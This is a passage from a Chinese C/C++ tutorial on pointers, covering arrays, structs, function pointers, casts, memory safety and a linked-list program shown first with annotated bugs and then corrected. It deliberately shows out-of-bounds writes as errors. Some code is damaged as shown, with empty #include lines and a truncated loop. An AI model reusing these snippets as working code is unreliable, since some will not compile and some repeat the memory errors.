    下面是一些指针表达式的例子:
例六:
int a,b;
int array[10];
int *pa;
pa=&a;//&a是一个指针表达式。
int **ptr=&pa;//&pa也是一个指针表达式。
*ptr=&b;//*ptr和&b都是指针表达式。
pa=array;
pa++;//这也是指针表达式。
例七:
char *arr[20];
char **parr=arr;//如果把arr看作指针的话,arr也是指针表达式
char *str;
str=*parr;//*parr是指针表达式
str=*(parr+1);//*(parr+1)是指针表达式
str=*(parr+2);//*(parr+2)是指针表达式
    由于指针表达式的结果是一个指针,所以指针表达式也具有指针所具有的四个要素:指针的类型,指针所指向的类型,指针指向的内存区,指针自身占据的内存。
    好了,当一个指针表达式的结果指针已经明确地具有了指针自身占据的内存的话,这个指针表达式就是一个左值,否则就不是一个左值。在例七中,&a不是一个左值,因为它还没有占据明确的内存。*ptr是一个左值,因为*ptr这个指针已经占据了内存,其实*ptr就是指针pa,既然pa已经在内存中有了自己的位置,那么*ptr当然也有了自己的位置。

五。数组和指针的关系
    如果对声明数组的语句不太明白的话,请参阅我前段时间贴出的文章<<如何理解c和c++的复杂类型声明>>。
    数组的数组名其实可以看作一个指针。看下例:
例八:
int array[10]={0,1,2,3,4,5,6,7,8,9},value;
...
...
value=array[0];//也可写成:value=*array;
value=array[3];//也可写成:value=*(array+3);
value=array[4];//也可写成:value=*(array+4);
    上例中,一般而言数组名array代表数组本身,类型是int [10],但如果把array看做指针的话,它指向数组的第0个单元,类型是int *,所指向的类型是数组单元的类型即int。因此*array等于0就一点也不奇怪了。同理,array+3是一个指向数组第3个单元的指针,所以*(array+3)等于3。其它依此类推。
例九:
char *str[3]={
"Hello,this is a sample!",
"Hi,good morning.",
"Hello world"
};
char s[80];
strcpy(s,str[0]);//也可写成strcpy(s,*str);
strcpy(s,str[1]);//也可写成strcpy(s,*(str+1));
strcpy(s,str[2]);//也可写成strcpy(s,*(str+2));
    上例中,str是一个三单元的数组,该数组的每个单元都是一个指针,这些指针各指向一个字符串。把指针数组名str当作一个指针的话,它指向数组的第0号单元,它的类型是char**,它指向的类型是char *。
*str也是一个指针,它的类型是char*,它所指向的类型是char,它指向的地址是字符串"Hello,this is a sample!"的第一个字符的地址,即'H'的地址。
    str+1也是一个指针,它指向数组的第1号单元,它的类型是char**,它指向的类型是char *。
    *(str+1)也是一个指针,它的类型是char*,它所指向的类型是char,它指向"Hi,good morning."的第一个字符'H',等等。

    下面总结一下数组的数组名的问题。声明了一个数组TYPE array[n],则数组名称array就有了两重含义:第一,它代表整个数组,它的类型是TYPE [n];第二,它是一个指针,该指针的类型是TYPE*,该指针指向的类型是TYPE,也就是数组单元的类型,该指针指向的内存区就是数组第0号单元,该指针自己占有单独的内存区,注意它和数组第0号单元占据的内存区是不同的。该指针的值是不能修改的,即类似array++的表达式是错误的。
    在不同的表达式中数组名array可以扮演不同的角色。
    在表达式sizeof(array)中,数组名array代表数组本身,故这时sizeof函数测出的是整个数组的大小。
    在表达式*array中,array扮演的是指针,因此这个表达式的结果就是数组第0号单元的值。sizeof(*array)测出的是数组单元的大小。
    表达式array+n(其中n=0,1,2,....。)中,array扮演的是指针,故array+n的结果是一个指针,它的类型是TYPE*,它指向的类型是TYPE,它指向数组第n号单元。故sizeof(array+n)测出的是指针类型的大小。
例十:
int array[10];
int (*ptr)[10];
ptr=&array;
    上例中ptr是一个指针,它的类型是int (*)[10],他指向的类型是int [10],我们用整个数组的首地址来初始化它。在语句ptr=&array中,array代表数组本身。

    本节中提到了函数sizeof(),那么我来问一问,sizeof(指针名称)测出的究竟是指针自身类型的大小呢还是指针所指向的类型的大小?答案是前者。例如:
int (*ptr)[10];
则在32位程序中,有:
sizeof(int(*)[10])==4
sizeof(int [10])==40
sizeof(ptr)==4
    实际上,sizeof(对象)测出的都是对象自身的类型的大小,而不是别的什么类型的大小。

六。指针和结构类型的关系
七。指针和函数的关系
八。指针类型转换
九。指针的安全问题
十、指针与链表问题   

 


六。指针和结构类型的关系
    可以声明一个指向结构类型对象的指针。
例十一:
struct MyStruct
{
int a;
int b;
int c;
}
    MyStruct ss={20,30,40};//声明了结构对象ss,并把ss的三个成员初始化为20,30和40。
    MyStruct *ptr=&ss;//声明了一个指向结构对象ss的指针。它的类型是MyStruct*,它指向的类型是MyStruct。
    int *pstr=(int*)&ss;//声明了一个指向结构对象ss的指针。但是它的类型和它指向的类型和ptr是不同的。
    请问怎样通过指针ptr来访问ss的三个成员变量?
答案:
ptr->a;
ptr->b;
ptr->c;
    又请问怎样通过指针pstr来访问ss的三个成员变量?
答案:
*pstr;//访问了ss的成员a。
*(pstr+1);//访问了ss的成员b。
*(pstr+2)//访问了ss的成员c。
    呵呵,虽然我在我的MSVC++6.0上调式过上述代码,但是要知道,这样使用pstr来访问结构成员是不正规的,为了说明为什么不正规,让我们看看怎样通过指针来访问数组的各个单元:
例十二:
int array[3]={35,56,37};
int *pa=array;
    通过指针pa访问数组array的三个单元的方法是:
*pa;//访问了第0号单元
*(pa+1);//访问了第1号单元
*(pa+2);//访问了第2号单元
    从格式上看倒是与通过指针访问结构成员的不正规方法的格式一样。所有的C/C++编译器在排列数组的单元时,总是把各个数组单元存放在连续的存储区里,单元和单元之间没有空隙。但在存放结构对象的各个成员时,在某种编译环境下,可能会需要字对齐或双字对齐或者是别的什么对齐,需要在相邻两个成员之间加若干个“填充字节”,这就导致各个成员之间可能会有若干个字节的空隙。
    所以,在例十二中,即使*pstr访问到了结构对象ss的第一个成员变量a,也不能保证*(pstr+1)就一定能访问到结构成员b。因为成员a和成员b之间可能会有若干填充字节,说不定*(pstr+1)就正好访问到了这些填充字节呢。这也证明了指针的灵活性。要是你的目的就是想看看各个结构成员之间到底有没有填充字节,
    嘿,这倒是个不错的方法。
    通过指针访问结构成员的正确方法应该是象例十二中使用指针ptr的方法。

七。指针和函数的关系
    可以把一个指针声明成为一个指向函数的指针。
int fun1(char*,int);
int (*pfun1)(char*,int);
pfun1=fun1;
....
....
int a=(*pfun1)("abcdefg",7);//通过函数指针调用函数。
    可以把指针作为函数的形参。在函数调用语句中,可以用指针表达式来作为实参。
例十三:
int fun(char*);
int a;
char str[]="abcdefghijklmn";
a=fun(str);
...
...
int fun(char*s)
{
int num=0;
for(int i=0;i {
num+=*s;s++;
}
return num;
}
    这个例子中的函数fun统计一个字符串中各个字符的ASCII码值之和。前面说了,数组的名字也是一个指针。在函数调用中,当把str作为实参传递给形参s后,实际是把str的值传递给了s,s所指向的地址就和str所指向的地址一致,但是str和s各自占用各自的存储空间。在函数体内对s进行自加1运算,并不意味着同时对str进行了自加1运算。

八。指针类型转换
    当我们初始化一个指针或给一个指针赋值时,赋值号的左边是一个指针,赋值号的右边是一个指针表达式。在我们前面所举的例子中,绝大多数情况下,指针的类型和指针表达式的类型是一样的,指针所指向的类型和指针表达式所指向的类型是一样的。
例十四:
1。 float f=12.3;
2。 float *fptr=&f;
3。 int *p;
    在上面的例子中,假如我们想让指针p指向实数f,应该怎么搞?是用下面的语句吗?
    p=&f;
    不对。因为指针p的类型是int*,它指向的类型是int。表达式&f的结果是一个指针,指针的类型是float*,它指向的类型是float。两者不一致,直接赋值的方法是不行的。至少在我的MSVC++6.0上,对指针的赋值语句要求赋值号两边的类型一致,所指向的类型也一致,其它的编译器上我没试过,大家可以试试。为了实现我们的目的,需要进行“强制类型转换”:
    p=(int*)&f;
    如果有一个指针p,我们需要把它的类型和所指向的类型改为TYEP*和TYPE,那么语法格式是:
    (TYPE*)p;
    这样强制类型转换的结果是一个新指针,该新指针的类型是TYPE*,它指向的类型是TYPE,它指向的地址就是原指针指向的地址。而原来的指针p的一切属性都没有被修改。
    一个函数如果使用了指针作为形参,那么在函数调用语句的实参和形参的结合过程中,也会发生指针类型的转换。 例十五:
void fun(char*);
int a=125,b;
fun((char*)&a);
...
...
void fun(char*s)
{
char c;
c=*(s+3);*(s+3)=*(s+0);*(s+0)=c;
c=*(s+2);*(s+2)=*(s+1);*(s+1)=c;
}
}
    注意这是一个32位程序,故int类型占了四个字节,char类型占一个字节。函数fun的作用是把一个整数的四个字节的顺序来个颠倒。注意到了吗?在函数调用语句中,实参&a的结果是一个指针,它的类型是int *,它指向的类型是int。形参这个指针的类型是char*,它指向的类型是char。这样,在实参和形参的结合过程中,我们必须进行一次从int*类型到char*类型的转换。结合这个例子,我们可以这样来想象编译器进行转换的过程:编译器先构造一个临时指针 char*temp,然后执行temp=(char*)&a,最后再把temp的值传递给s。所以最后的结果是:s的类型是char*,它指向的类型是char,它指向的地址就是a的首地址。
    我们已经知道,指针的值就是指针指向的地址,在32位程序中,指针的值其实是一个32位整数。那可不可以把一个整数当作指针的值直接赋给指针呢?就象下面的语句:
    unsigned int a;
    TYPE *ptr;//TYPE是int,char或结构类型等等类型。
    ...
    ...
    a=20345686;
    ptr=20345686;//我们的目的是要使指针ptr指向地址20345686(十进制)
    ptr=a;//我们的目的是要使指针ptr指向地址20345686(十进制)
    编译一下吧。结果发现后面两条语句全是错的。那么我们的目的就不能达到了吗?不,还有办法:
    unsigned int a;
    TYPE *ptr;//TYPE是int,char或结构类型等等类型。
    ...
    ...
    a=某个数,这个数必须代表一个合法的地址;
    ptr=(TYPE*)a;//呵呵,这就可以了。
    严格说来这里的(TYPE*)和指针类型转换中的(TYPE*)还不一样。这里的(TYPE*)的意思是把无符号整数a的值当作一个地址来看待。上面强调了a的值必须代表一个合法的地址,否则的话,在你使用ptr的时候,就会出现非法操作错误。    
    想想能不能反过来,把指针指向的地址即指针的值当作一个整数取出来。完全可以。下面的例子演示了把一个指针的值当作一个整数取出来,然后再把这个整数当作一个地址赋给一个指针:
例十六:
int a=123,b;
int *ptr=&a;
char *str;
b=(int)ptr;//把指针ptr的值当作一个整数取出来。
str=(char*)b;//把这个整数的值当作一个地址赋给指针str。
    好了,现在我们已经知道了,可以把指针的值当作一个整数取出来,也可以把一个整数值当作地址赋给一个指针。

九。指针的安全问题
    看下面的例子:
例十七:
char s='a';
int *ptr;
ptr=(int*)&s;
*ptr=1298;
    指针ptr是一个int*类型的指针,它指向的类型是int。它指向的地址就是s的首地址。在32位程序中,s占一个字节,int类型占四个字节。最后一条语句不但改变了s所占的一个字节,还把和s相临的高地址方向的三个字节也改变了。这三个字节是干什么的?只有编译程序知道,而写程序的人是不太可能知道的。也许这三个字节里存储了非常重要的数据,也许这三个字节里正好是程序的一条代码,而由于你对指针的马虎应用,这三个字节的值被改变了!这会造成崩溃性的错误。
    让我们来看一例:
例十八:
1。 char a;
2。 int *ptr=&a;
...
...
3。 ptr++;
4。 *ptr=115;
    该例子完全可以通过编译,并能执行。但是看到没有?第3句对指针ptr进行自加1运算后,ptr指向了和整形变量a相邻的高地址方向的一块存储区。这块存储区里是什么?我们不知道。有可能它是一个非常重要的数据,甚至可能是一条代码。而第4句竟然往这片存储区里写入一个数据!这是严重的错误。所以在使用指针时,程序员心里必须非常清楚:我的指针究竟指向了哪里。在用指针访问数组的时候,也要注意不要超出数组的低端和高端界限,否则也会造成类似的错误。
在指针的强制类型转换:ptr1=(TYPE*)ptr2中,如果sizeof(ptr2的类型)大于sizeof(ptr1的类型),那么在使用指针ptr1来访问ptr2所指向的存储区时是安全的。如果sizeof(ptr2的类型)小于sizeof(ptr1的类型),那么在使用指针ptr1来访问ptr2所指向的存储区时是不安全的。至于为什么,读者结合例十七来想一想,应该会明白的。

十、指针与链表问题
红色部分所示的程序语句有问题,改正后的程序在下面。
 list1.c

#include
#include

struct listNode{
    int data;
     struct listNode *nextPtr;
};
typedef struct listNode LISTNODE;
typedef LISTNODE * LISTNODEPTR;
void list(LISTNODEPTR *, int);
void printlist(LISTNODEPTR);
main()
{
    LISTNODEPTR newPtr=NULL;
    int i,a;
    for(i=0;i<3;i++){
        printf("please enter a number\n");
        scanf("%d,",&a);
        list(&newPtr,a);
        // 此处给的是newPtr的地址, 注意!
      }
      printlist(newPtr);

    free(newPtr);
     // 链表的释放不能这样写,这样,只释放了newPtr指向的一个节点。
     // 可以先找到链表的尾,然后反向释放;或者,利用 printlist的顺序释放,
     // 改函数printlist,或在此函数里释放。
    return 0;
}

void list(LISTNODEPTR *sPtr, int a)
{
    LISTNODEPTR newPtr,currentPtr;
    newPtr=malloc(sizeof(LISTNODEPTR));
    // 此处错, LISTNODEPTR 是指针类型,不是结构类型,
    // malloc返回void指针,应该强制转换类型,此处会告警不报错,但应有良好的编程风格与习惯。
    if(newPtr!=NULL){
        newPtr->data=a;
        newPtr->nextPtr=NULL;
         currentPtr=*sPtr;
    }
    if(currentPtr==NULL){
     // 此处条件不确切,因为currentPtr没有初始化,
     // 如newPtr一旦为NULL,此句及以下就有问题。
    newPtr->nextPtr=*sPtr;
    *sPtr=newPtr;}
     // 在第一个数来的时候,main里的newPtr通过sPtr被修改指向此节点。
     // 在第二个数来的时候,main里的newPtr通过sPtr被修改指向此节点。
     // 在第三个数来的时候,main里的newPtr通过sPtr被修改指向此节点。
     // 最后,main里的newPtr指向第三个数。
}

void printlist(LISTNODEPTR currentPtr)
{
    if(currentPtr==NULL)
        printf("The list is empty\n");
    else{
        printf("This list is :\n");
       while(currentPtr!=NULL){
            printf("%d-->",currentPtr->data);
            // main里的newPtr指向第三个数。你先打印了最后一个数。
            // currentPtr=currentPtr->nextPtr->data;
            // 此句非法, 类型不同, 有可能让你只循环一次,如data为0。
       }
       printf("NULL\n\n");
    }
}
    // 对类似程序能运行,但结果似是而非的情况,应该多利用跟踪调试,看变量的变化。


改正后的正确程序
#include
#include
struct listNode{
    int data;
    struct listNode *nextPtr;
};
typedef struct listNode LISTNODE;
typedef LISTNODE * LISTNODEPTR;

LISTNODEPTR list(LISTNODEPTR , int); // 此处不同
void printlist(LISTNODEPTR);
void freelist(LISTNODEPTR); // 增加

main()
{
    LISTNODEPTR newPtr=NULL;
    int i,a;
    for(i=0;i<3;i++){
        printf("please enter a number\n");
        scanf("%d,",&a);
        newPtr = list(newPtr,a); // 此处注意
    }
    printlist(newPtr);
    freelist(newPtr); // 此处
    return 0;
}

LISTNODEPTR list(LISTNODEPTR sPtr, int a)
{
    if ( sPtr != NULL )
        sPtr->nextPtr = list( sPtr->nextPtr, a ); // 递归,向后面的节点上加数据。
    else
    {
        sPtr =(LISTNODEPTR) malloc(sizeof(LISTNODE)); // 注意,是节点的尺寸,类型转换
        sPtr->nextPtr = NULL;
        sPtr->data = a;
    }
    return sPtr;
}

void freelist(LISTNODEPTR sPtr )
{
    if ( sPtr != NULL )
    {
        freelist( sPtr->nextPtr ); // 递归, 先释放后面的节点
        free( sPtr ); // 再释放本节点
    }
    else //
    return ; // 此两行可不要
}

void printlist(LISTNODEPTR currentPtr)
{
    if(currentPtr==NULL)
        printf("The list is empty\n");
    else
    {
        printf("This list is :\n");
        while(currentPtr!=NULL)
        {
            printf("%d-->",currentPtr->data);
            currentPtr=currentPtr->nextPtr; // 这里不一样
        }
        printf("NULL\n\n");
    }
}

‹ 上一页    1-10/11    下一页 ›